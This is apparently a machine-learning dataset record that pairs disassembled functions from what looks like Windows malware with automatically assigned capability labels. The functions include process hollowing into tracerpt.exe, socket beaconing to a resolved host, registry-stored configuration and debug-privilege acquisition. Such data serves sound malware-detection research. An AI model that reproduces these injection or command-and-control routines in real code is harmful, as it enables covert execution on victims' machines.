joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100036e0
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100191b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
push 0x11
push 2
xor edi, edi
push 2
mov dword [ebp - 0x18], edi
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x40], eax
cmp eax, 0xffffffff
jne 0x10003722
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10006845
mov esp, ebp
pop ebp
ret 8
push edi
push edi
lea ecx, [ebp - 0x24]
push ecx
push edi
push edi
push 4
lea edx, [ebp - 0x1c]
push edx
push 0x9800000c
push eax
mov dword [ebp - 0x1c], edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov ecx, dword [esi + 0x40]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 0x1c]
push eax
push 0xfffffffffffffffb
push 0xffff
push ecx
call edi
mov eax, dword [esi + 0x40]
push 4
lea edx, [ebp - 0x1c]
push edx
push 4
push 0xffff
push eax
call edi
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
push 0
push 0
push 0
push 0
push ebx
mov dword [esi + 0x44], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x20], eax
inc eax
push eax
call fcn.1000682f
mov ecx, dword [ebp - 0x20]
add esp, 4
push 0
push 0
push ecx
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x20]
push edi
mov byte [edi + edx], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
push edi
mov ebx, eax
call fcn.1000683a
add esp, 4
test ebx, ebx
je 0x1000370e
mov ecx, dword [ebp + 0xc]
mov eax, 2
push ecx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov edx, dword [ebx + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov edx, dword [esi + 0x44]
mov eax, dword [esi + 0x40]
push 0x30
push edx
push eax
mov dword [ebp - 0x10], ecx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x10003847
mov edx, dword [esi + 0x40]
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x10003840
cmp eax, 0xffffffff
jne 0x10003837
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10003840
mov dword [ebp - 0x18], 0
jmp 0x10003847
mov dword [ebp - 0x18], 1
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
pop edi
xor ecx, ebp
pop ebx
call fcn.10006845
mov esp, ebp
pop ebp
ret 8
Function at 0x10003be0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [eax + 0x14]
push ebx
test eax, eax
jne 0x10003c03
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x40]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x10003c1c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, 1
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], 2
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], ebx
xor eax, eax
pop ebx
ret
push edi
lea eax, [esi + 0x19c]
push eax
lea ecx, [esi + 0x1d8]
mov ebx, 1
push ecx
mov dword [esi + 0x60], ebx
mov ecx, esi
mov eax, esi
mov dword [esi + 0x64], ebx
call fcn.10004ae0
mov edx, dword [esi + 0x40]
xor edi, edi
push edi
push edi
push edi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10003c65
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x10003c65
xor edi, edi
mov eax, dword [esi + 0x48]
push eax
call fcn.10002c50
add esp, 4
test edi, edi
pop edi
je 0x10003c80
mov eax, 0x80004005
call fcn.10001280
mov eax, ebx
pop ebx
ret

Function at 0x10003c90
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea esp, [esp]
mov eax, dword [ebx + 0x70]
mov ecx, dword [ebx + 0x40]
push 0
push 0x598
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
jle 0x10003d62
cmp edi, 0x10
jne 0x10003ce8
mov edx, dword [ebx + 0x70]
mov ecx, eax
mov eax, 0x10017420
sub edx, eax
cmp ecx, 4
jb 0x10003d9a
mov esi, dword [edx + eax]
cmp esi, dword [eax]
jne 0x10003ce8
sub ecx, 4
add eax, 4
jmp 0x10003cd0
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebx + 0x1c0]
mov edx, dword [ebx + 0x1c8]
mov eax, dword [ebx + 0x70]
lea esi, [ebx + 0x1d8]
cmp edi, 0x18
jl 0x10003d16
push ecx
push edi
push eax
mov edi, edx
call fcn.10005060
jmp 0x10003d20
cmp edi, 0xc
jne 0x10003d90
call fcn.10004f10
cmp eax, 2
jne 0x10003ca0
mov edx, dword [ebx + 0x48]
push edx
call fcn.10002c50
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10003d44
mov eax, 0x4c7
mov ecx, 1
mov dword [ebx + 0x3c], ecx
mov dword [ebx + 0x34], 4
pop edi
mov dword [ebx + 0x30], ecx
mov dword [ebx + 0x38], eax
pop esi
xor eax, eax
pop ebx
pop ebp
ret 4
cmp edi, 0xffffffff
jne 0x10003ca0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10003db7
cmp eax, 0x2744
je 0x10003ca0
cmp eax, 0x2746
je 0x10003ca0
jmp 0x10003d44
push 0xd
call dword [sym.imp.WS2_32.dll_WSASetLastError]
jmp 0x10003d29
xor eax, eax
pop edi
mov dword [ebx + 0x30], 1
mov dword [ebx + 0x34], 5
mov dword [ebx + 0x3c], eax
pop esi
mov dword [ebx + 0x38], eax
pop ebx
pop ebp
ret 4
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
Function at 0x10003f50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
mov eax, dword [esi + 0x64]
cmp eax, 3
je 0x10004038
lea edi, [esi + 0x15c]
push edi
call fcn.10002b80
mov ecx, dword [esi + 0x64]
cmp ecx, 1
je 0x10003f88
mov edx, dword [esi + 0x64]
test edx, edx
jne 0x10004032
mov dword [esi + 0x64], 2
mov dword [edi], 0
mov eax, ebx
call fcn.10004150
mov eax, dword [esi + 0x60]
test eax, eax
je 0x10003fc3
cmp dword [esi + 0x3c], 0
je 0x10003fbc
mov ecx, dword [esi + 0x40]
push 0
push 0x10
push 0x10017420
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [esi + 0x60], 0
cmp dword [esi + 0x30], 0
je 0x10003feb
mov edx, dword [esi + 0x48]
push edx
call fcn.10002c50
mov eax, dword [esi + 4]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea ecx, [esi + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x44]
test eax, eax
je 0x10004000
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 0x44], 0
mov eax, dword [esi + 0x40]
cmp eax, 0xffffffff
je 0x10004022
push 1
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov edx, dword [esi + 0x40]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x40], 0xffffffff
mov edi, esi
call fcn.10004050
pop edi
pop esi
mov eax, 1
pop ebx
ret
mov dword [edi], 0
push 0x139f
mov dword [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x10004420
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x264]
push ecx
call edi
call dword [sym.imp.WINMM.dll_timeGetTime]
push 0
lea ebx, [esi + 0x18]
push ebx
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov word [esi + 0x28], ax
mov ecx, dword [esi + 0x64]
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x18]
mov dword [esi + 0x20], edx
mov dword [esi + 0x24], eax
mov word [esi + 0x28], 0xca
cmp ecx, 3
je 0x10004480
mov eax, esi
call fcn.10003f50
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push eax
mov eax, esi
call fcn.100034f0
mov ecx, dword [esi + 0x264]
push 0x1770
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x100044d9
cmp eax, 0x102
je 0x100044c5
cmp eax, 0xffffffff
jne 0x100044ce
mov edx, dword [esi + 0x264]
push edx
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 0x264]
push eax
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esi + 0x264]
push ecx
call edi
lea edx, [ebp - 4]
push edx
push 0
push esi
push 0x10004520
push 0
push 0
call fcn.1000724b
add esp, 0x18
pop edi
mov dword [esi + 0x268], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10005820
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Get common file path
Get file attributes
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x100191b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1001c6dc]
push 0x44
lea ecx, [ebp - 0x418]
push 0
push ecx
mov dword [ebp - 0x3d4], eax
call fcn.1000c830
xor eax, eax
mov dword [esi], eax
push 0x2cc
mov dword [esi + 4], eax
push eax
lea edx, [ebp - 0x3d0]
mov dword [esi + 8], eax
push edx
mov dword [esi + 0xc], eax
call fcn.1000c830
xor eax, eax
push 0xfe
push eax
lea ecx, [ebp - 0x103]
push ecx
mov dword [ebp - 0x418], 0x44
mov dword [ebp - 0x3ec], 1
mov word [ebp - 0x3e8], ax
mov byte [ebp - 0x104], al
call fcn.1000c830
add esp, 0x24
push 0xff
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x104]
push str.WindowsSysWOW64_tracerpt.exe
push eax
push str._s_s
mov edx, eax
mov byte [ebp - 0x101], 0
call fcn.100059e0
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000590b
push str.WindowsSystem32_tracerpt.exe
lea edx, [ebp - 0x104]
push edx
push str._s_s
mov byte [ebp - 0x101], 0
call fcn.100059e0
add esp, 0xc
push esi
lea eax, [ebp - 0x418]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10005940
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10006845
mov esp, ebp
pop ebp
ret
mov edx, dword [esi]
push ebx
push 0x40
push 0x3000
push edi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x100059ac
mov eax, dword [ebp - 0x3d4]
mov ecx, dword [esi]
push 0
push edi
push eax
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100059ac
mov eax, dword [esi + 4]
lea edx, [ebp - 0x3d0]
push edx
push eax
mov dword [ebp - 0x3d0], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x100059ac
mov edx, dword [esi + 4]
lea ecx, [ebp - 0x3d0]
push ecx
push edx
mov dword [ebp - 0x318], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x100059bd
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10006845
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.10006845
mov esp, ebp
pop ebp
ret
Function at 0x10005e30
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x1001d994], 0
jne 0x1000610a
push esi
push str.0:db0:lk0:hs1:ld0:ll0:hb0:pj:zb0.1:bb
mov byte [0x1001d994], 1
call fcn.100075af
push 0x12a0
push 0
push 0x1001c6e0
call fcn.1000c830
push 0
push 0x1001c6fe
push 0x100175cc
call fcn.10005d60
push 0
push 0x1001c8fc
push 0x100175d4
call fcn.10005d60
push 0x1001c938
push 0
push 0x100175dc
call fcn.10005d60
push 0
push 0x1001c93c
push 0x100175e4
call fcn.10005d60
add esp, 0x40
push 0
push 0x1001cb3a
push 0x100175ec
call fcn.10005d60
push 0x1001cb78
push 0
push 0x100175f4
call fcn.10005d60
push 0
push 0x1001cb7c
push 0x100175fc
call fcn.10005d60
push 0
push 0x1001cd7a
push 0x10017604
call fcn.10005d60
push 0x1001cdb8
push 0
push 0x1001760c
call fcn.10005d60
push 0
push 0x1001cdbc
push 0x10017614
call fcn.10005d60
add esp, 0x48
push 0
push 0x1001cdf8
push 0x1001761c
call fcn.10005d60
push 0
push 0x1001ce34
push 0x10017624
call fcn.10005d60
push 0
push 0x1001ce98
push 0x1001762c
call fcn.10005d60
push 0
push 0x1001cefc
push 0x10017634
call fcn.10005d60
push 0x1001cf60
push 0
push 0x1001763c
call fcn.10005d60
push 0x1001cf64
push 0
push 0x10017644
call fcn.10005d60
add esp, 0x48
push 0x1001cf68
push 0
push 0x1001764c
call fcn.10005d60
push 0x1001cf6c
push 0
push 0x10017654
call fcn.10005d60
push 0x1001cf70
push 0
push 0x1001765c
call fcn.10005d60
push 0x1001cf74
push 0
push 0x10017664
call fcn.10005d60
push 0x1001cf78
push 0
push 0x1001766c
call fcn.10005d60
push 0x1001cf7c
push 0
push 0x10017674
call fcn.10005d60
add esp, 0x48
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push str.Console
push connect
mov dword [ebp - 8], 3
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10006032
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 4]
push ecx
push 0
lea edx, [ebp - 8]
push edx
push 0
push str.IpDate
push eax
call esi
cmp dword [ebp - 4], 0xa
jbe 0x10006109
push 0x7d0
push 0
push str.0:db0:lk0:hs1:ld0:ll0:hb0:pj:zb0.1:bb
call fcn.1000c830
mov eax, dword [ebp - 0xc]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push str.0:db0:lk0:hs1:ld0:ll0:hb0:pj:zb0.1:bb
lea edx, [ebp - 8]
push edx
push 0
push str.IpDate
push eax
call esi
push 0
push 0x1001c6fe
push 0x100175cc
call fcn.10005d60
push 0
push 0x1001c8fc
push 0x100175d4
call fcn.10005d60
push 0x1001c938
push 0
push 0x100175dc
call fcn.10005d60
push 0
push 0x1001c93c
push 0x100175e4
call fcn.10005d60
push 0
push 0x1001cb3a
push 0x100175ec
call fcn.10005d60
push 0x1001cb78
push 0
push 0x100175f4
call fcn.10005d60
add esp, 0x48
push 0
push 0x1001cb7c
push 0x100175fc
call fcn.10005d60
push 0
push 0x1001cd7a
push 0x10017604
call fcn.10005d60
push 0x1001cdb8
push 0
push 0x1001760c
call fcn.10005d60
add esp, 0x24
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10006380
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x100063d2
cmp dword [0x1001d980], eax
jne 0x100063d2
push str.0:db0:lk0:hs1:ld0:ll0:hb0:pj:zb0.1:bb
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x1e
jle 0x100063d2
call fcn.10005e30
cmp dword [0x1001cf70], 0
je 0x100063d2
push 0
push 0
push 0
push 0x10006110
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1001d980], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
pop ebp
ret 0xc

Function at 0x100063e0
Capabilities:
Create thread

Disassembly:
cmp dword [0x1001d980], 0
jne 0x1000641d
call fcn.10005e30
push 0
push 0
push 0
push 0x10006110
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1001d980], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x1001d980]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
ret

Function at 0x10006845
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100191b0]
jne 0x1000684f
repz ret
jmp fcn.100078b2
Function at 0x1000c51c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100191b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.100096de
and dword [ebp - 0x14], 0
cmp dword [0x1001b7fc], 0
mov dword [ebp - 0x18], eax
jne 0x1000c5cf
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000c677
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1000c677
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1001b7fc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1001b800], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1001b804], eax
call edi
push eax
call esi
mov dword [0x1001b80c], eax
test eax, eax
je 0x1000c5cf
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1001b808], eax
mov eax, dword [0x1001b808]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1000c628
cmp dword [0x1001b80c], ecx
je 0x1000c628
push eax
call esi
push dword [0x1001b80c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1000c628
test ebx, ebx
je 0x1000c628
call edi
test eax, eax
je 0x1000c61f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000c61f
test byte [ebp - 8], 1
jne 0x1000c628
or dword [ebp + 0x10], 0x200000
jmp 0x1000c65b
mov eax, dword [0x1001b800]
cmp eax, dword [ebp - 0x18]
je 0x1000c65b
push eax
call esi
test eax, eax
je 0x1000c65b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000c65b
mov eax, dword [0x1001b804]
cmp eax, dword [ebp - 0x18]
je 0x1000c65b
push eax
call esi
test eax, eax
je 0x1000c65b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1001b7fc]
call esi
test eax, eax
je 0x1000c677
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1000c679
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10006845
leave
ret
Function at 0x100146d
Capabilities:
Acquire debug privileges

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1001490
xor eax, eax
leave
ret
lea eax, [ebp - 0xc]
push eax
push 0x10011bc
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x10014b0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100148c
mov eax, dword [ebp - 0xc]
push esi
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 4]
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x10014e5
xor esi, esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x10014f8
Capabilities:
Acquire debug privileges

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1001519
leave
ret
push esi
lea eax, [ebp - 0xc]
push eax
push 0x10011bc
xor esi, esi
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x100153e
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
leave
ret
mov eax, dword [ebp - 0xc]
push esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push esi
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1001577
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
jmp 0x100153b
xor esi, esi
inc esi
jmp 0x100156a
Function at 0x1001a2e
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [0x10060f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor esi, esi
xor eax, eax
mov dword [ebp - 0x328], esi
lea edi, [ebp - 0x324]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x318], ebx
mov dword [ebp - 0x310], esi
stosd dword es:[edi], eax
cmp dword [ebp + 0xc], esi
jne 0x1001a74
xor al, al
jmp 0x1001c42
push dword [ebp + 0xc]
push esi
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x314], eax
cmp eax, esi
jne 0x1001aa0
push 0x278f
push 1
call fcn.01003cd9
pop ecx
pop ecx
jmp 0x1001c18
cmp dword [ebp + 0x10], esi
jne 0x1001b3a
push 0x100
lea ecx, [ebp - 0x104]
push ecx
push esi
push eax
call sub.KERNEL32.dll_K32GetModuleBaseNameA
test eax, eax
je 0x1001b3a
lea eax, [ebp - 0x104]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001ac9
mov esi, dword [sym.imp.KERNEL32.dll_CompareStringA]
sub eax, edx
mov ebx, eax
or edi, 0xffffffff
cmp ebx, 0xb
jne 0x1001afb
push edi
push 0x1001214
push edi
lea eax, [ebp - 0x104]
push eax
push 1
push 0x7f
call esi
cmp eax, 2
je 0x1001b34
cmp ebx, 0xc
jne 0x1001b19
push edi
push 0x1001204
push edi
lea eax, [ebp - 0x104]
push eax
push 1
push 0x7f
call esi
cmp eax, 2
je 0x1001b34
lea eax, [ebp - 0x104]
push eax
push 0x2793
push 1
call fcn.01003cd9
add esp, 0xc
jmp 0x1001bfe
mov ebx, dword [ebp - 0x318]
mov eax, dword [ebx]
or eax, dword [ebx + 4]
je 0x1001bcf
push 0x104
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1001bcf
push 7
lea edi, [ebp + eax*2 - 0x30c]
pop ecx
lea eax, [ebp - 0x30c]
mov esi, 0x10011e8
push eax
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x310], eax
test eax, eax
je 0x1001bcf
push 0x10011d0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1006eb0], eax
test eax, eax
je 0x1001bcf
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x328], ecx
mov ecx, dword [ebx]
mov dword [ebp - 0x324], ecx
lea ecx, [ebp - 0x328]
push ecx
push 1
push 0
call eax
test eax, eax
jne 0x1001bcf
push dword [ebp - 0x31c]
push 0x2792
push 1
call fcn.01003cd9
add esp, 0xc
push 0x100
lea eax, [ebp - 0x104]
push eax
push 0
push dword [ebp - 0x314]
call sub.KERNEL32.dll_K32GetModuleBaseNameA
test eax, eax
jne 0x1001b19
push 0x2790
push 1
call fcn.01003cd9
pop ecx
pop ecx
push dword [ebp - 0x314]
call dword [sym.imp.dbghelp.dll_SymCleanup]
push dword [ebp - 0x314]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
cmp dword [ebp - 0x31c], esi
je 0x1001c2c
push dword [ebp - 0x31c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x310], esi
je 0x1001c40
push dword [ebp - 0x310]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.01003816
leave
ret 0xc

Function at 0x1001c58
Capabilities:
Terminate process

Disassembly:
push dword [0x1006eac]
push 0x2710
push 2
call fcn.01003cd9
add esp, 0xc
push 1
call dword [sym.imp.msvcrt.dll_exit]
int3